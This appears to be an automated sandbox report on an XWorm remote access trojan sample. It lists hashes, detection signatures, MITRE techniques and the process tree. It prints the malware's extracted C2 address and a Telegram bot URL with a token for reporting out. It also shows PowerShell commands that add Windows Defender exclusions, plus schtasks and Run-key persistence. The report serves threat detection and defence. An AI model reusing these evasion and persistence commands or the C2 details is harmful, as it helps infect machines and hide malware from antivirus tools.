xworm | e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9

General

Target

e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe
Size

68KB
MD5

8fe37834502c9cad2a3f4bc4676e16c2
SHA1

b094f4930779e4736faef853eeea262dc8708884
SHA256

e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9
SHA512

1c2ad55d9f75e4ddf3a3fd50f53b49b01e2d8a05333fca8c08444fda8a97d8f3245c1373703ab2eb3ec1267e41cb79dc0df66049c36ae255ab97cccbd690c449
SSDEEP

1536:MATJ3GFPtJ+fEnKZy4bkd3Th64OP/KKoKiR:MATJ3GFfcHbkZOP/KKcR

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

africa-panels.gl.at.ply.gg:36327

Attributes

Install_directory
%AppData%
install_file
svchost.exe
telegram
https://api.telegram.org/bot7097357076:AAFNLSm-3pej5b-uWHuJ42vA2ifmYBH-Apk/sendMessage?chat_id=6237826260

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/2220-1-0x0000000000A60000-0x0000000000A78000-memory.dmp	family_xworm
behavioral1/files/0x0004000000004ed7-36.dat	family_xworm
behavioral1/memory/2176-38-0x0000000000300000-0x0000000000318000-memory.dmp	family_xworm
behavioral1/memory/2280-40-0x00000000002C0000-0x00000000002D8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1660	powershell.exe
2976	powershell.exe
2312	powershell.exe
2708	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe

Executes dropped EXE 2 IoCs

pid	Process
2176	svchost.exe
2280	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2958949473-3205530200-1453100116-1000\Software\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\Users\\Admin\\AppData\\Roaming\\svchost.exe"	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
812	schtasks.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2976	powershell.exe
2312	powershell.exe
2708	powershell.exe
1660	powershell.exe
2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeDebugPrivilege	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe
Token: SeDebugPrivilege	2176	svchost.exe
Token: SeDebugPrivilege	2280	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2976	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	32
PID 2220 wrote to memory of 2976	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	32
PID 2220 wrote to memory of 2976	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	32
PID 2220 wrote to memory of 2312	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	34
PID 2220 wrote to memory of 2312	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	34
PID 2220 wrote to memory of 2312	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	34
PID 2220 wrote to memory of 2708	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	36
PID 2220 wrote to memory of 2708	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	36
PID 2220 wrote to memory of 2708	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	36
PID 2220 wrote to memory of 1660	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	38
PID 2220 wrote to memory of 1660	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	38
PID 2220 wrote to memory of 1660	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	38
PID 2220 wrote to memory of 812	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	40
PID 2220 wrote to memory of 812	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	40
PID 2220 wrote to memory of 812	2220	e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe	40
PID 1624 wrote to memory of 2176	1624	taskeng.exe	43
PID 1624 wrote to memory of 2176	1624	taskeng.exe	43
PID 1624 wrote to memory of 2176	1624	taskeng.exe	43
PID 1624 wrote to memory of 2280	1624	taskeng.exe	44
PID 1624 wrote to memory of 2280	1624	taskeng.exe	44
PID 1624 wrote to memory of 2280	1624	taskeng.exe	44

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe
"C:\Users\Admin\AppData\Local\Temp\e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\svchost.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:812

C:\Windows\system32\taskeng.exe
taskeng.exe {A7A01DB5-9418-4F41-A22A-0CB8315BBC37} S-1-5-21-2958949473-3205530200-1453100116-1000:WHMFPZKA\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1624
- C:\Users\Admin\AppData\Roaming\svchost.exe
  C:\Users\Admin\AppData\Roaming\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2176
- C:\Users\Admin\AppData\Roaming\svchost.exe
  C:\Users\Admin\AppData\Roaming\svchost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cbd48506ee4b1411ff544ab8aef97f7c

SHA1
fcf7d5042b9b063a4c207b703ef099ac46017018

SHA256
e17b70e34e72042fd8e317edf55b06049710ea5f3a9cf83dc009cc889d3ca21b

SHA512
9be56b64e472c5e3a95960d0c454a9fd703613c1d15053e18d801149411230c65429631e4ed004d0dc50fdea9dedd71cadbdcbd9098d4c974fc7dd73ff6bd3c9

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
68KB

MD5
8fe37834502c9cad2a3f4bc4676e16c2

SHA1
b094f4930779e4736faef853eeea262dc8708884

SHA256
e5f8cfe6e345649c62e0841baf930dc2f9274205e0eb7bd8d90c9099967fc7b9

SHA512
1c2ad55d9f75e4ddf3a3fd50f53b49b01e2d8a05333fca8c08444fda8a97d8f3245c1373703ab2eb3ec1267e41cb79dc0df66049c36ae255ab97cccbd690c449

Download Submit
memory/2176-38-0x0000000000300000-0x0000000000318000-memory.dmp

Filesize
96KB

Download
memory/2220-2-0x000007FEF6930000-0x000007FEF731C000-memory.dmp

Filesize
9.9MB

Download
memory/2220-0-0x000007FEF6933000-0x000007FEF6934000-memory.dmp

Filesize
4KB

Download
memory/2220-32-0x000007FEF6933000-0x000007FEF6934000-memory.dmp

Filesize
4KB

Download
memory/2220-33-0x000007FEF6930000-0x000007FEF731C000-memory.dmp

Filesize
9.9MB

Download
memory/2220-1-0x0000000000A60000-0x0000000000A78000-memory.dmp

Filesize
96KB

Download
memory/2280-40-0x00000000002C0000-0x00000000002D8000-memory.dmp

Filesize
96KB

Download
memory/2312-15-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2312-16-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/2976-7-0x0000000002CD0000-0x0000000002D50000-memory.dmp

Filesize
512KB

Download
memory/2976-8-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2976-9-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads